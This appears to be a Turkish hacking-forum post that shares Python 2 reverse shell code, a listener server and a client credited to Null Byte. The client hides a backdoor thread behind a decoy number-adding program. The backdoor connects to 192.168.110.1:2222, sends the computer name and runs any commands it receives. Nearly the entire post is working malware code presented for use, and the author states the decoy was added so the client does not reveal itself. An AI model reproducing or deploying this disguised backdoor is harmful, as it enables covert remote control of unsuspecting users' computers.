Merhaba arkadaşlar.
Null-Byte: How to Reverse Shell Using Python « Null Byte
Türkçe kaynak: Python Reverse TCP Shell (Socket) - Python for Hackers
Ben clientin kendini belli etmemesi için toplama fonksiyonu ekledim. Gerisi Null-Byte'den alınmıştır
Server:
Client:
Null-Byte: How to Reverse Shell Using Python « Null Byte
Türkçe kaynak: Python Reverse TCP Shell (Socket) - Python for Hackers
Ben clientin kendini belli etmemesi için toplama fonksiyonu ekledim. Gerisi Null-Byte'den alınmıştır
Server:
Kod:
import socket, os, sys
def socketCreate():
try:
global HOST
global PORT
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "192.168.110.1"
PORT = 2222
except socket.error as msg:
print "Socket creation error: "+str(msg[0])
sys.exit()
def socketBind():
try:
print "Binding socket at port %s"%(PORT)
s.bind((HOST, PORT))
s.listen(1)
except socket.error as msg:
print "Socket binding error: "+str(msg[0])
sys.exit()
def socketAccept():
global conn
global addr
global hostname
try:
conn, addr = s.accept()
print "[*] Session opened at %s:%s\n"%(addr[0], addr[1])
hostname = conn.recv(1024)
menu()
except socket.error as msg:
print "Socket accepting error"
sys.exit()
def menu():
while True:
cmd = raw_input(str(addr[0])+"@"+str(hostname)+ " > ")
if cmd == "quit":
conn.close()
s.close()
sys.exit()
command = conn.send(cmd)
result = conn.recv(16834)
if result <> hostname:
print result
def main():
socketCreate()
socketBind()
socketAccept()
main()
Client:
Kod:
import threading
def backdoor():
import socket, os, subprocess
def connect():
global HOST
global PORT
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "192.168.110.1"
PORT = 2222
try:
s.connect((HOST, PORT))
s.send(os.environ['COMPUTERNAME'])
except:
connect()
def receive():
receive = s.recv(1024)
if receive == "quit":
s.close()
elif receive[0:5] == "shell":
proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc2.stdout.read() + proc2.stderr.read()
args = stdout_value
else:
args = "No valid input was given."
send(args)
def send(args):
send = s.send(args)
receive()
connect()
receive()
s.close()
def toplama():
a = raw_input("Sayi: ")
b = raw_input("Sayi: ")
print int(a) + int(b)
threading.Thread(target=backdoor).start()
threading.Thread(target=toplama).start()